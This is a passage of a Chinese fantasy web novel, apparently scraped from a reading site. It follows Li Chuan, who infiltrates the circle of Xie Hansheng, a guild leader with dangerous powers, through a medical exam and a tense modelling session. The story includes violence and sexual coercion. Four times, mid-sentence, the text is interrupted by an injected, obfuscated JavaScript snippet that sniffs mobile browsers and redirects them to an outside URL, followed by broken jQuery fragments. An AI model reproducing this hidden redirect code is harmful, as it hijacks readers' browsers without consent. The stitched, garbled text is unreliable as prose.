小导游的头嗡的一声,还没反应过来便被对方揪着领子提起来,掼到路边的柱子上,压低声音警告他,“季言,你他妈不要命了是吗,谁给你的胆子议论,你看清楚他是谁!”
叫季言的小导游这才懵懵地扭头看了一眼,地上的尸体被人拉着四肢抬起来,脖颈软着歪下去,脖子上的三颗星星昭示着他的身份。
是那个被破格升职三星的人类。
季言慌忙捂住嘴,“是会长…”
安保队长只觉得头疼,他看着季言脸上的巴掌印,更觉得心烦,连忙挥手,“滚,带着你的人,快点儿滚。”
季言一向能屈能伸,挥了挥手里的逐星之旅旗帜,组织大家有秩序地滚了。
只有祁睿不肯走,他抱着哥哥的尸体不松手,可下一秒,幽蓝色的火苗毫无预兆地从尸体里窜起,瞬间将其吞噬。
“哥,不要,哥!!!”他哭喊着,摇着头掉眼泪,眼睛被火燎得剧痛,火焰将他手臂的皮烧得发焦,他像是感受不到疼一般,直到被一只手生生从火焰里拉了出来。
祁睿回过头,望见黎川沉冷的眼睛。
黎川用力地握了一下他的手腕,声音里不带情绪,平静地吐出几个字,“你哥一定希望你活下去。”
说完,他拽着祁睿撤出人群。
黎川的臂力大得令人心惊,祁睿压根没有反抗的能力,几乎是被他提在手里带到了相对安全的一片空地。
远远的,他们看见数名安保人员同时翻动手掌,火光跃动后聚集成一团,只片刻便将那具尸体焚烧成灰。
风将灰烬吹入旁侧的海,地面随即又涌出洁净的细流,将地面上的血迹冲刷得干干净净,仿佛一切都没有发生过。
操纵风火雷电等元素,让围观的人类望而生畏,但对异能者而言,就像呼吸一样简单。
几分钟后,星海岸的大门缓缓拉开,连同安保队长在内的所有制服男子已经自觉地在门外站成了两排。他们将中间的路让出来,整齐划一地躬身行礼。
“会长。”
繁星会会长,解寒声。
隔着一条川流不息的车道,黎川眼眸轻眯,视线掠过车流和闪烁的霓虹,定定地落在那个男人的身上。
众星捧月的男人出奇的年轻,穿着一身气质斐然的黑色条纹西装,不平凡的剪裁和面料,勾衬得他的身形轮廓优越到极致。
都说西装乏味古板,但穿在他身上却没有产生半分束缚,反倒成了低调的背景板,显露出极为出众的一副皮囊来。
漂亮鲜明的五官在灯照下泛出光色,好看到几近失真,却散发着难以接近的攻击性和压迫感。
解寒声本人,比RB资料库照片上更加引人注视。
但黎川知道,在神祇的面孔之下,藏着一个不折不扣的恶魔。
黎川想起黎宇植给他看的录像片段,十八岁的解寒声浑身是血,独自一人坐在悬崖边。
悬崖下是万丈深海,在解寒声的身后,是一片由死人堆积而成的血海。
RB资料库中记载,解寒声出生于繁都顶豪世家【解家】,是异能强者解南之的独生子。他从出生起就被检测出恐怖的异能天赋【未知?】,伴随对异能磁场敏感应激,危险系数极高,因此被送到了一座名为“仙玉”的岛上压制心性。
仙玉岛是繁都的一片净土,在岛上,住着三千口优质人类,不同于外界异能者们的厮杀,这里的人一团和气,秩序井然。没有异能磁场的波动,解寒声就这样在这座岛生根,长大,像普通人一样长到十八岁。
黎宇植:“解寒声十八岁那年,异能封印破除,他离开了仙玉岛。”
“离开岛之前,他杀光了所有人。”
“三千多人,无一人幸免。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16988893|193670||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
从仙玉回到繁都,解寒声通过不断杀人,踩着血路,一步一步找到了他在食物链的位置。
顶级上位者,七年来,染了无数肮脏的血,又怎么会在意眼下这个渺小的人类。
解寒声脸上的神色极淡,对周遭的混乱视若无睹,甚至眼皮都没抬一下,在一个矮小男人的引领下走到停好的车前。
那矮小男人穿着西装马甲,戴着一个格纹的贝雷帽,正是星海岸的老板,祝见明。
祝见明躬着身子,替解寒声拉开车门,用手护着头顶,“会长,您千万保重,今天的事,您多担待,属下一定尽快为您物色更乖、更合适的。”
解寒声心脏的疼痛并未得到缓解,他没耐心听这些,微一俯身,正准备坐到车里,却忽然被一股莫名的东西吸引。
一种难以言喻的牵引感,很微妙,极诡异,超越了五感,猝然攫住了他全部感官。
明明无形无质,却比任何声音,任何画面都更加清晰,不容抗拒。
解寒声缓缓直起身,手扶着车门框,抬眼,望了过去。
霓虹流淌成河,光影迷离交错。
黎川恍然一颤,隔着灯红酒绿的繁华街道,看见一双可以用浓墨重彩来形容的眼睛,正一瞬不瞬地望着自己。
穿过所有的浮华和喧嚣,仍然锋芒毕露,沉沉地压过来,缠绕着审视和探究,像是一只无形的手,从远处伸过来,精准扼住了他的咽喉。
黎川告诉自己不要怕,他的脸在被黎宇植收留之前就受过伤,被海上的礁石划破,通过手术修复后,容貌也发生了一些改变。
按理来说,不会有人认识他,他也不用担心被任何人认出来。可黎川到底还是先低下头,主动结束了这段压迫的对视。
窒息许久,黎川才勉勉强强地呼出一口气来,再次抬头,车队已经消失在了道路尽头的转角。
祝见明站在星海岸正门,看见最后一辆车消失在视线里,才如释重负地松了口气。
脸上恭维的笑意散开,老练的狠劲儿出现在他的眼角眉梢,他挥手示意手下解除封禁,恢复营业,然后板着脸走进大门。
星街又恢复了先前的繁华,人来车往,似乎所有人都忘了,刚刚在这里死过一个叫祁月的人。
车上。
解寒声坐在后排,闭着眼,眉心轻轻地皱着,呼吸落得很轻。
坐在他旁边的是他的私人医生,也是唯一一个和他还算亲近,活得也还算长久的朋友,齐奕。
车子行驶了一段,齐奕悠然开口,“你杀了祁月,为什么?”
也正因为算是朋友,齐奕才敢这样问他,“你不是跟他玩的很开心吗。”
解寒声对自己的失控只字不提,阖着眼眸,“玩够了。”
“是不想自欺欺人了吧。”齐奕歪头看了他一眼,微笑了下,“说吧,你把他当成谁了。”
解寒声不语,半晌后睁开眼望向齐奕,“你来做什么?”
齐奕说: “赤渊鲸出现在了近海,不是一个好兆头,我检测到星核不稳定,怕你身体出事。”
解寒声搭在膝盖上的手指蜷缩了一下,空气一寸一寸结成了冰,危险的异能磁场从他周身散开,充斥在密闭的空间内。
“解寒声,解寒声?”
齐奕察叫了他两声,发觉有点不对劲儿,一把拽过他的手,扣住手腕,脉象微弱发沉。
“你…你又发作了。”
解寒声抽回自己的手,仰起脖子,有些艰难地喘了两口气。
齐奕瞬间警觉,他赶忙找来抱枕,垫到解寒声的腰后,“你别动,慢慢呼吸,控制一下异能的流动频率,不要去对抗星核之力。”
解寒声的手指僵硬得像一块冰,掌心沾着一片湿冷的汗,他掀开眼,“齐奕,我的身体有感应,他好像回来了…”
他话说一半,手按着胸口咳了两声,一股血腥味涌上来。
今天的繁都不对劲,空气不对劲,温度不对劲,一切一切都不对劲。
齐奕迅速抽出纸巾,给他擦去唇角的血迹,眉头锁得死紧,“谁?谁回来了?”
解寒声无端地想起星海岸楼下的那双眼睛。
他开口,声音清晰而冰冷,一字一顿。
“那个、杀我的人。”
4. 检查
解寒声直接被齐奕带去了研究站。
研究站远离市区,私密性很强,处于一片茂密的针叶林间,灰突突孤零零的,像一座坟墓,是齐奕为了研究解寒声的病情特意设立的秘密基地。
这里有先进的医疗设备和实验室,便于齐奕做病理研究,还有天然的异能源温,能帮助病人快速恢复折损的元气。
平日,解寒声的身体出现状况,都是来这里诊治疗养。
解寒声下车,跟在齐奕身后,冷眼看着他一道门一道门地扫脸、输密码、验证指纹。
“你的医院,设计得跟你这个人一样麻烦。”解寒声淡声点评了一句。
“你来了这么多次,每次都要埋怨一遍。”齐奕微笑回应,打开最后一道锁,引领解寒声进入一间玻璃房,“请进吧,会长。”
玻璃房的面积并不算大,白色的灯光从头顶倾泻而下,不带任何的温度,有些逼仄压人。
数不清的医疗设备和实验器械错落有致地摆放着,四面的墙壁都悬挂着光屏,光屏连接着电脑,上面跳动着变幻的数据,和极为复杂的几何图像。
一张检查床被围在正中央。
齐奕走到电脑前,盯着那波动的线图,神色略显凝重,他看了眼解寒声,“把上衣脱了,俯卧。”
解寒声脱下外套,随手搭在椅背上,然后开始不紧不慢地解衬衫纽扣,动作和神色间满是倦怠。
眼看那数据越发地趋近于危险值,齐奕忍不住催促道:“会长,快一点。”
衬衫应声滑落在地,解寒声不耐地轻叹一声,俯下身趴到检查床上,露出了整片的背脊。
他抻了下腰,流畅而性感的背部线条就那样在光线下舒展开来。
冷白的皮肤上,覆盖着一幅巨大而妖异的红枫图腾。
那不是寻常的纹身,墨色勾骨,朱砂点染,细致的笔触将每一片枫叶的脉络都清晰地勾勒了出来。
红枫在他的皮肤上肆意生长,随着呼吸缓慢起伏,没有丝毫唯美可言,带着一种野蛮的生命力。
从左肩胛骨开始,像是被一阵狂风卷起的火舌,狂野地向下蔓延,越过脊柱的凹陷,一直烧到到他右侧的腰窝,没入裤腰边缘。
绮丽到了极致,反而生出了一种触目惊心的残酷感。
齐奕眉头拧得死紧。
他欣赏不来解寒声的纹身,每次见都忍不住恼火。
他曾问过一次,为什么是枫叶。
换来的只是瞬间降至冰点的气氛,和解寒声长久的沉默,在这片沉默中,齐奕感受到了前所未有的浓重杀意,从此,便没再问过。
“趴好别动。”他戴上手套,按住解寒声的一侧肩膀。
这纹身的存在,让他没办法无创对心脏进行检查,不得已使用眼下这种最原始、也最痛苦的方式。
用一根异能磁石打磨的钢针,从背后精准地刺入心脏腔室,然后去摸索那个隐秘的能量核心。
星核。
解寒声的体质特殊,他对麻醉类药物有免疫,每次做星核检查,就只能清醒地承受这一切。
冰凉的消毒触感稍纵即逝,尖锐的刺痛毫无缓冲地在他后心炸开。
探测的钢针穿破皮肤和肌肉,向着心脏的方向缓慢地向前推进,不只是简单的疼痛,还有异物入侵带来的生理性的恐惧和濒死感。
“呃…”
穿刺针从背后刺入,穿过胸腔的一瞬,解寒声脸色惨白地抓紧了床单。
脖颈上的青筋暴起,他埋着头,漏出一声极小的呻吟。
“疼是吧。”齐奕嘴上这么问,手上的动作没停,按住解寒声痉挛的肌肉,针头深入后沿着腔室转了一圈,“疼也没辙,忍着吧,已经穿过胸膜定位到星核边缘了。”
齐奕歪头看着电脑屏幕上加载的进度条,语气平静道: “还有半分钟,别乱动,肌肉痉挛会影响读取。”
屏幕上终于显示出了具体位置,钢针抵住星核的瞬间,解寒声的身体无法控制地弹动了一下,像是被雷电顷刻间贯穿全身。
屏幕上的数据曲线飙升,发出尖锐的警报声,他咬紧牙关,将脸更深地埋进臂弯里,只露出剧烈颤抖的肩膀。
时间被疼痛拉得近乎静止。
数据加载完毕,齐奕干脆利落地将针头抽出来,眨眼间,穿刺孔已经愈合了。
解寒声脱力般伏在床上,说不出话,偌大的房间只能听见沉重的喘息声。
缓了许久,他才撑着身体慢慢坐起来,未干的虚汗沿着他的腰腹线条往下淌。他伸手拿衬衫,慢条斯理地系着扣子,抬起下巴问道:怎么说?”
“不好。”齐奕的目光从屏幕上移开,有些忧心地望着他,“星核异动,已经出现了反噬迹象,很严重,解寒声,它在试图覆盖你的意识。”
“说点新鲜的。”解寒声不以为意,说话间已经走下检查床,他从一旁的衣架上拿起西装外套,搭在手臂上,“每次都是这套说辞,永远都不好,一直在反噬?”
“这次不一样!”齐奕的声音提高了一些,抬头盯住解寒声的眼睛道:“之前的异动是星核的排异反应,但是今天不一样,你看看这段波形。”
解寒声顺着他的指尖看向屏幕那团杂乱无章的红线,半分耐心都没有,“看不懂,直接说。”
“是你的精神状态,产生了某种强烈的情绪,刺激了星核。”齐奕深吸一口气,直视着解寒声的眼睛,“你并不想杀祁月,你当时,是失控了,对吗?”
解寒声顿了顿,“齐奕。”
他的声音沉下去,表情消失,有警告的意味。
“失控,说明你和星核的位置已经对调了,不是你在驾驭星核,而是它在操纵你。”齐奕的视线缓缓转向他,一字一顿对他说,“如果你持续性失控,不再具备压制星核的能量,终有一日它会腐蚀掉你的整个身体,你会死得很难看。”
空气中沉寂了几秒,齐奕垂头发出一声叹息,“你当初,不该吞噬星核。”
星核是整片异能大陆的能量之源,它决定着繁都数十万人的生死存亡,从不该成为一个人的所有物。
解寒声:“如果不吞噬星核,我根本离不开仙玉。”
他被封印在仙玉岛十八年,在充满恶意的肮脏地狱里折磨了十八年,直至被一枪打碎心脏。
是星核,拼凑出了他的第二颗心脏。
“在仙玉,所有人都想要杀了我,我还不是活到了今天。”解寒声的眸子染上一抹狠戾的红,笑了笑,“他们说,我是杀不死的怪物。”
因为杀不死,所以可以没有底线地去蹂躏践踏,解寒声就是在无休止的凌辱中长大的。
“如今你说星核可以杀了我,那就让它来吧。”
苍凉一片的眼底,如同黑沉的深渊,解寒声唇角病态地扬起道浅弧,“看是它杀了我,还是我
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16988894|193670||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
先毁了它。”
“你毁了星核,就是让整个繁都的人陪你一起下地狱。”齐奕脸色难看。
“怎么,怕了?”解寒声的神情含着一丝兴奋,“是怕下地狱,还是怕我毁了星核,让你没办法完成你爸的夙愿?”
齐家作为拥有顶级【疗愈】异能的大家族,世世代代守护星核,把星核看得比命都重要。解寒声打心眼里瞧不上这一大家子的正派作风,什么守护繁都、守护安宁,个个都自视甚高,想要成为光辉伟岸的救世主。
再看齐奕,大好青春年华,全都献给了自己。
如果不是因为星核在自己身上,他会这样?
“不会的。”
解寒声展开漂亮的眉宇, 明明是柔软的语气,却说着最有攻击性的话,“你不会下地狱的,齐医生救死扶伤这么多年,就算是死,也会上天堂。”
“解寒声。”齐奕无奈地摇了摇头,说,“你冷静一点,我不是你的敌人,就算星核不在你的心脏里,我作为朋友,也希望你可以没事。”
解寒声点一下头,但齐奕知道他不信。
他跟了解寒声这么多年,没见他信任过谁,解寒声的字典里,从来没有“朋友”这个词。
齐奕不想和他探讨别的,只想解决当下的问题,“我现在需要找到你失控的原因,对于这件事,我不希望你对我有所隐瞒。”
见解寒声不说话,齐奕又问他,“认识祁月之后,你心脏发作的越来越频繁,你说他像你的一个仇人,你的失控是不是和这个仇人有关?”
“是你在仙玉岛上结识的人?”
“你说他杀过你,如今感应到他回来了,他是谁?你们之间到底发生过什么?”
…
问题太他妈多了。
解寒声被问的有点烦躁,身居高位久了,听到别人用这般平淡至极的语气揣度他的心思,都觉得是一种忤逆。
他压着火,听齐奕没完没了地在旁边碎碎念,“作为星核的容器,你需要稳定,不能有太多强烈的情感,但仇恨,也是情感的一种。”
“目前的技术可以有效解决这个问题,我能帮助你清除仙玉这段不好的记忆,或者…”
齐奕是真的在为他想办法,然而解寒声硬是一句话也听不进去,他的思维一向跳跃,忽然歪过头问齐奕道:“脖子上戴着红环的,是什么人?”
“红环?”齐奕愣了一下,回答他,“哦,是逐星号带来的游客。”
“人类?”
“是。”
那双疏离深邃的眼睛,又一次明晰地浮现在脑海中。
长得不像,但那眼神,太像了。
解寒声的眸光微亮,若有所思地抿了下唇,忽然站起身往外走。
“你要去哪,你现在的心脏情况很不稳定。”齐奕叫住他,“你必须静养一周,等星核稳定下来…”
解寒声不是听劝的人,他行事作风一向随心所欲,雷厉风行,当即便返回星海岸,向祝见明要了一份游客档案。
指尖快速划过光屏上一张张陌生的面孔。
解寒声的眸光微动,手指停了下来。
屏幕上是一张清隽却略显平凡的脸,眼神平静,甚至有些过于温驯。
解寒声的目光在那双眼睛上停留了许久,伸出食指,在照片上轻轻点了点,抬眼看向哈着腰的祝见明。
“我需要一个新的模特。”
5. 模特
夜鹿港的观景台上乌泱泱的全是人,本地人没几个,挤在那儿探头探脑的,多半是跟着观光团来的游客。
台子整个悬在海面上,脚下是一整块的透明玻璃,低头就能看见几十米高的浪头,一个接一个砸上来,拍在玻璃上轰隆作响,看得人腿肚子发颤。
巨浪虽然骇人,但仍有一帮人举起手机相机,噼里啪啦地拍个不停。
面前是夜鹿港的出圈景点,荧光鹿林。
海面上泛着一层冰蓝色的荧光,海浪间,一群荧光小鹿,正成群结队地穿梭其中。
“各位游客!欢迎来到夜鹿港!这里是导游季言为您讲解~”
“眼前每一只小鹿,可都是由海水幻化而成的,我们通过操纵水元素和光异能,模拟出小鹿形态和动作,这就是异能和自然结合的奇迹!”
...
游客堆里响起哇哇的惊叹声,早已将星海岸门口的惨案忘了个精光。
越有钱的人心越硬,这话一点不假。
黎川借口恐高,没跟着往上挤,就坐在观景台底下的休息椅上,他抬眼瞅着上面那帮玩得忘乎所以的游客,又偏过头看了看身边的少年。
祁睿正把脸死死埋在膝盖间,肩膀一抽一抽的,哭得上气不接下气。
他胳膊上全是火烧火燎的伤,抽噎着,话都说不利索,“我就...就是想要个说法...我哥他之前在电话里还好好的,怎么就掉下来了?”
“他们直接把他给烧了...凭什么!”
祁睿猛地抬起头,眼睛红得吓人,牙根咬得死紧,“他是个大活人啊!他是我哥!!!”
鼻涕眼泪糊了满脸,此时的祁睿,跟之前在船上那个冷静睿智的少年简直判若两人,可偏偏就是这副狼狈又脆弱的样子,让黎川心口没由来地揪了一下。
那是一种熟悉到骨子里的怜惜和心软,里头还掺着点儿说不清道不明的愧疚。这感觉,不在他现有的记忆里,好像早就刻在了他的生命之中。
他遗失的记忆里,似乎有过一个很重要的人,他的所有怜爱、心软、愧疚,全都来自于这个人。
糟糕的是,黎川一点儿也记不起来了。
叮。
脖子上的红环发出一声低鸣,红光在夜色里闪动起来,还不等黎川反应,就传来一股蛮横拉扯的力道。
他眼前骤然一黑,窒息了两三秒钟。
再睁开眼时,周遭的景象全都变了。
他站在一个铺着名贵地毯的走廊里,两边各站着一个持枪的壮汉,目测接近两米,死死地把他夹在中间,旁边还站着个矮小的男人,有点儿面熟,正是星海岸的老板祝见明。
祝见明皱了皱眉,冲着两个壮汉低斥道:“收起来,动刀动枪的像什么样子。”
他转向黎川,露出一个称得上慈祥的微笑,眼里含着一丝微妙的示好和拉拢,说道: “会长亲自点的名,要见你,是福是祸,都看你的造化了。”
黎川怔了下,一时间大脑飞速运转。
解寒声为什么要见他,难道是他露出了什么疑点?还是有人出卖了他的身份信息?
“见我?为什么?”黎川一脸茫然问道。
祝见明背着手在前面带路,头也不回道:“算你小子运气好,会长喜欢画画,正缺一个人类模特,也不知道怎么的,在游客档案里看中了你。”
他说着停下脚步,转过身,用那双精明的眼睛上下打量了一番黎川,眉眼间藏着的那点狠劲隐隐透了出来,“听着小子,别怪我没提醒你,一会进去了,会长问你什么,你就答什么,让你做什么就做什么。多的不要说,也不要做。”
“星海岸门前的那具坠楼的裸尸见过了吧?”祝见明朝黎川逼近半步,声音压得更低更沉,“如果你不想像他一样,就照我说的做,明白吗?”
黎川的喉结滚动了一下,垂下眼睫,敛去眼底泛起的冷意,再抬眼时,已是一副强自镇定却难掩惊惧的普通人模样。
他点了点头,声音有些发紧,“明…明白。”
他确实没想到,也不敢相信,机会竟然会以这么简单粗暴的方式,砸到自己面前。
一个接近解寒声的的绝佳入口,就这么毫无预兆地向他敞开了。
...
“会长,黎川到了。”
黎川抬起头,面前,是一间画室。
室内光线昏沉,高耸的穹顶垂下一条条细长的金属链,悬吊着几盏可调节的射灯。光线被聚拢在一起,倾泻在房间中央一个低矮的台面上,那里铺着一张酒红色天鹅绒毯。
不远处,宽大的画架后方,一个几乎融进黑暗中的身影微微一动。
沙发无声地转了过来。
头顶的射灯恰好照亮了那人的半张脸,优越的眉骨和鼻梁上染上冷白的光色,冰冷的光和艳冶的五官交织在一起,非但不冲突,反而淬炼出一种惊心动魄的美感,让黎川的呼吸本能的一滞。
上一次见,是隔着一条马路,这一次,中间仅仅隔了一张岛台。
解寒声穿着一身黑色丝质衬衫,慵懒地倚靠在沙发里,昂贵的衣料在灯光下泛着幽微的光泽。他的袖口挽到小臂,露出一截冰白的腕骨,线条流畅漂亮,虚虚地搭在扶手边。
四目相对。
解寒声没说话,只是用那双眼睛,从上到下打量过黎川,从略显凌乱的黑发,到平静的眼眸,沿着鼻梁,落在那两片紧抿的嘴唇上。
然后,再一寸寸继续向下。
明明只是隔着距离的打量,黎川却感受到了实实在在的触感!
像是一条冰冷的蛇,缠上他的脖颈,勒紧他凸起的喉结,然后钻进他的衣服里,丈量他的胸膛和腰腹,最后定格在他那双因拘谨而并拢的双腿上。
黎川在那道目光的笼罩下,浑身都绷紧了,但很快就在心里强迫自己放松。
他微微低下头,做出温顺不安的姿态,眼睫抬起一道缝隙,目光并未完全躲闪,而是带着适当的困惑,承接了部分的审视。
空气中的静默持续了许久,终于有了一丝波动。
解寒声动了动嘴唇,声音不高,却带足了威压,“转过去。”
黎川闻言,慢慢转过身,很快便感觉到一道炙热
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16988895|193670||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的目光,牢牢地钉在自己的背上。
“衣服脱了。”
声音再次响起,更近了一些,解寒声不知何时已无声地走近了几步,停在他侧后方不远不近的位置。
黎川的手指微微蜷缩了一下,这个要求超出了普通面试的范畴,带着明显的羞辱意味,但他没有迟疑太久,沉默地抬起手,开始解自己的衬衫纽扣。僵硬的身姿和动作下,带着一点儿在这种情境下应有的颤抖。
纽扣一颗颗松开,衬衫从肩头滑落,显露出这具身体截然不同的反差。
穿着衣服时那点文弱的书卷气荡然无存,展现在解寒声眼前的,是挺拔宽厚的背脊,肌肉匀称而结实,腰身充满力量。
解寒声的目光落在那片光裸的背上,无心欣赏,眼底掠过一瞬的空茫。
那里空无一物,没有他期待看到的任何印记,没有旧疤,没有标记,空空荡荡的,只是一片陌生的人类皮肤。
认错人了么...
这个念头带着刺,不动声色地划过心底。
解寒声的眉心蹙了一下,随即而来的是一阵汹涌的头痛,从颅脑深处碾上来。他闭了闭眼,脚步虚浮地向后撤了两步,沉沉地坐回沙发里。
“会长!”
祝见明见状连忙躬身上前,紧张查看他的状态,“您这偏头痛又犯了?属下最近最近跟朔冰学了一点儿按摩的手艺,要不让属下来给您…”
“出去。”
解寒声目光冷淡地撇过去,甚至没有完全抬眼,便将祝见明未说出口的奉承话硬生生地堵在了喉头。
祝见明伸出的手僵在半空,讪讪地收回,不敢再多言,连忙带着两个手下退向门口。
就在最后一个人长靴迈过门槛的刹那,解寒声垂在沙发臂托上的手指轻轻一抬。
砰!
一股无形而强劲的气流猛盘旋起,裹挟起一阵冷风,将沉重的双开木门狠狠掼上。
房间里再度陷入死寂。
解寒声用手撑着头,指节用力地抵住突突狂跳的太阳穴。
他没有对黎川的背部做出评价,只是冷淡地又吩咐一句,“转过来。”
黎川转回身子,上半身赤.裸着,他将手臂垂在身侧,表情控制得恰到好处,强自镇定里混杂着一丝隐忍的屈辱,又夹杂了些许的恐惧和哀怨。
他远远站着,不太敢与解寒声对视。
解寒声盯着他,半晌后忽然很轻地从鼻子里哼处一声,“怕我?”
黎川吞咽了一下,“怕。”
“怕什么?”
黎川的目光垂下去,怯生生的模样,回答得耿直,“怕和那个人一样,被从楼上扔下去,死得不体面…”
解寒声看着面前人懦弱的模样,怎么也无法和记忆中的那道狠戾决绝的身影重叠到一起,但他的身高,眉眼,举手投足散发的那种特殊的气息,却是那么熟悉。
指尖又一次按上太阳穴,这一次力道更重了些,缓了许久,解寒声才将面前的画板摆正,握住一支削好的铅笔,笔尖指向不远处铺着红色绒毯的桌台。
“躺上去。”
6. 试探
解寒声压根就不喜欢画画。
曾经有个人对他讲过,说他没天赋,往画架后面一座,纯粹是浪费纸墨,更糟践光阴。可他还是佯装喜欢,一笔一划地坚持了许多年。
起初是画给那个人看的。
解寒声不在乎画的好不好,乐此不疲地证明着自己和他有同样的喜好,喜欢被握着手腕改画,听那人用带着笑腔的声音点评他拙劣的画技…
直到那个人不在了,这伪装却早已渗入骨子里,成了停不下来的习惯。
如今,解寒声宁可咬定自己是真心喜欢画画,也绝不肯承认,他曾在一个人身上付诸过那么深重和卑微的情感。
他索性画下去。
反正他的画技是蹩脚的,画的东西是阴郁的,既然从里到外都是一团糟,那这种糟糕反倒成了最情真意切的表达。
坐在椅子上,手里握着笔,看那些线条在纸上无意义地游走、纠缠、覆盖,七年了,这重复的动作,竟然成了他与往事之间唯一的联结。
不远处的桌台上,黎川光裸着上身侧躺着,正小心翼翼地调整着姿势,让自己尽量不显得僵硬,也不显得过分低俗。
他一只手屈起枕在头下,双腿微微蜷起,让身体线条自然舒展,目光则是不太自在地低垂着,耳根和脖颈爬上一抹羞赧的薄红。
这个姿势,实在太像了。
解寒声的目光凝在红色绒毯与肌肤的交界处,笔尖停在纸面上,手腕不动声色地抖了一抖,半截炭灰跌落。
他终于开始动笔。
抬头看黎川的时间,远比低头作画的时间长,目光里有探寻,也有回望,像是要把那些被强行掩盖的陈年旧伤再度戳破。
果真疼得不轻。
头痛像刀子般剐着他脆弱敏感的神经,额角渗出的冷汗越来越密,在本就苍白的脸上微微反光。
“祝见明给我的档案资料上说,你是一个摄影师,有三百多万的粉丝。”
解寒声忽然开口,声音在寂静的包厢里格外清晰,“你都喜欢拍什么?”
一个极其突兀的问题。
黎川的身体几不可察地僵了一瞬,“风景,人文,看到什么,就拍什么。”
解寒声在纸上画着,眼皮也不抬,“拍了多少年了?”
黎川侧躺着,说话的声音有点闷,“我是从高三开始喜欢上摄影,在社媒上发一些作品,已经十年了。”
“十年…”解寒声停下来,一眼望过去,连带着一道空气都是冷的,“你确定吗?”
黎川似乎思考了一下,才回答道:“确定,到今年正好第十年,如果会长不信可以看我的媒体账号,上面有日期标注。”
解寒声将画笔在手指间转了一圈,漫不经心抬起眼眸,“七年前,你在哪里?”
“七年前…翡港。”黎川回答,并补充了一句,“正常都要去外地旅行拍摄的,但是那一年流感爆发,就躲在家里,哪也没去。”
黎宇植在他的身份上花了很多功夫,所有的证据链都已经准备齐全,根本查不出纰漏。
“整过容吗。”解寒声盯着他蜷曲的身体,不轻不重地问了句。
“没有。”
“一直都是这张脸?”
“是。”
解寒声不再说话,他低下头,开始在白纸上一笔一笔地画,一笔比一笔狠,把好不容易才画出来的人形戳了个稀巴烂。
笔尖摩擦纸面发出沙沙声,成为画室里唯一的声音,听得黎川窒息,连解寒声自己都快要喘不过气。
黎川一动不动地躺着,维持着一个不变的姿势,大脑却在飞速运转。
他意识到,这场面试根本不是寻找一个模特那么简单。解寒声在测试,在确认,在透过他寻找某个影子。
他不能露出破绽,但也不能完全被动。
在解寒声又一次因为剧烈头痛而闭眼蹙眉,用手指抵住额角时,黎川忽然主动开口,“会长,你…是不是不舒服?”
他的声音温和,“需要我帮您叫人吗?”
这句话问得冒险,但也算是合情合理,一个尚有基本同理心的年轻人,看到雇主明显不适,出言询问是本能。
解寒声抵着额角的手指顿住了,他缓缓睁开眼,看向黎川,没有回答他的问题,只是冷冷地撇下一句,“我没问你话的时候,不要发出声音。”
红绒毯上的模特彻底安静了。
他一动不动,一声不吭,连呼吸都刻意放缓。时间一分一秒过去,等解寒声终于放下笔,起身走到他面前时,躺在桌台上的人竟不知何时闭上了眼睛,睡着了。
这居然还能够睡得着?
解寒声垂着眸,立在原地,观察了许久。
然后,他极其缓慢地弯下腰,一点点凑近。近到能清晰看到对方脸上的毛孔和微小的绒毛,能看清皮肤在冷空气下细微的战栗。
他凑得更近了些,几乎要触碰到黎川的下颌,在他脖颈间轻轻地嗅了嗅。
气味是陌生的。
一种偏向于冷冽的茶香,盖住了他身体原有的气味,闻不出个什么来。
脸也是陌生的,可那眉眼闭合时的神态,身体动作的弧度,简直太熟悉了。
心脏深处那枚不常异动的星核,悄无声息地躁动起来,传来一阵尖锐的刺痛。
压抑了数年的恨意在顷刻之间翻涌而上,解寒声的指尖不知不觉地抬起,带着一丝颤抖,迟疑着,试探着抚上黎川的脸颊。
“…”
皮肤的触感温热,是活人的温度,然而记忆却被瞬间拖拽回那个冰冷深渊。
枪口抵在自己的心脏,抬眼看进那双幽深冰冷的眼睛。
“祸害就该去死。”
“去
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16988896|193670||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
死吧。”
去死。
去死。
去死。
